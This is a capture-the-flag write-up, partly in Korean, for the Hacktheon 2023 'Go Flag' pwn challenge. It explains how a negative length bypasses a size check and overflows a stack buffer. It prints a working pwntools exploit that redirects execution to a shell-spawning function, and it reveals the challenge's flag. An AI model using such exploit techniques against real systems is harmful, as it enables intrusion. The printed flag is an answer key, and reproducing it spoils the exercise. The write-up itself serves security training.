Search

[PWN] Go Flag

Year
2023
CTF Name
Hacktheon_CTF
Category
PWN
Type
Pwn2Win
Integer Overflow
Buffer Overflow

1. Description

Get the for_user.zip file and build a test environment with Dockerfile.
Analyze the go_flag file, write the exploit code, and test it in the test environment.
After writing the exploit code, apply it to the address below to obtain the flag.
nc apb2021.cstec.kr 4242
Format : HACKTHEON{Flag}

2. Write up

문제 바이너리는 64bit ELF 파일이고 메모리 보호 기법은 대부분 다 적용되있다.
# file go_flag go_flag: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=403344d1e250612bebd1a81191a8967e14899bfa, for GNU/Linux 3.2.0, not stripped # checksec go_flag [!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/mnt/hgfs/CTF/CTF/2023/hacktheon_CTF/pwn/for_user/for_user/go_flag' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Bash
복사
IDA로 확인해보면 flag(), go()함수가 보이는데 그 중에서 flag()함수를 보면 쉘을 실행시키는 것을 볼 수 있다. 해당 문제는 전형적인 pwn2win 문제이다. BOF 취약점을 이용해서 flag함수를 실행해야 한다.
main함수는 아래와 같다. main함수를 분석해보면 scanf로 숫자를 입력 받고 16보다 짧으면 go함수를 실행하고 16보다 크면 “long!”문자열을 출력 후 종료한다.
go 함수를 보면 main함수에서 입력받은 숫자를 기준으로 데이터를 입력받도록 구성되어있다. 사용자가 입력받을 데이터의 길이를 지정할 수 있기 때문에 BOF가 발생할 수 있다. 다만 BOF가 발생하려면 40byte의 더미와 8byte의 플래그 함수 주소, 총 48byte가 필요하지만 main 함수에서 16byte로 제한하고 있다.
main함수에서 길이를 입력할 때 16byte보다 큰 조건만 비교하고 있고 작은 조건은 비교하고 있지 않다. 따라서 IntegerOverflow를 추가로 이용한다면 main 함수의 조건을 우회하면서 16byte보다 큰 데이터를 입력할 수 있다. Exploit코드는 아래와 같다.
from pwn import * r = remote("apb2021.cstec.kr", 4242) #r = process("./go_flag") print r.recvuntil(" : ") r.sendline(b"-1") retaddr = r.recvuntil("\n")[:-1] p = "" p += "A"*(0x20 + 8) flagaddr = int(retaddr,16) - (0x1212 - 0x11ed) p += p64(flagaddr) r.send(p) r.interactive()
Python
복사

3. FLAG

HACKTHEON{27fcaabc64e14ac0cd5b9f9d173dd2d019fe38a6542923402b269f08821ce22c0f49c9e6ecdb7140be83b0fb02ca24a0ebdc4f35a3b80cf8bbcb512012e0d8e7d970e6d5f26b8609300b}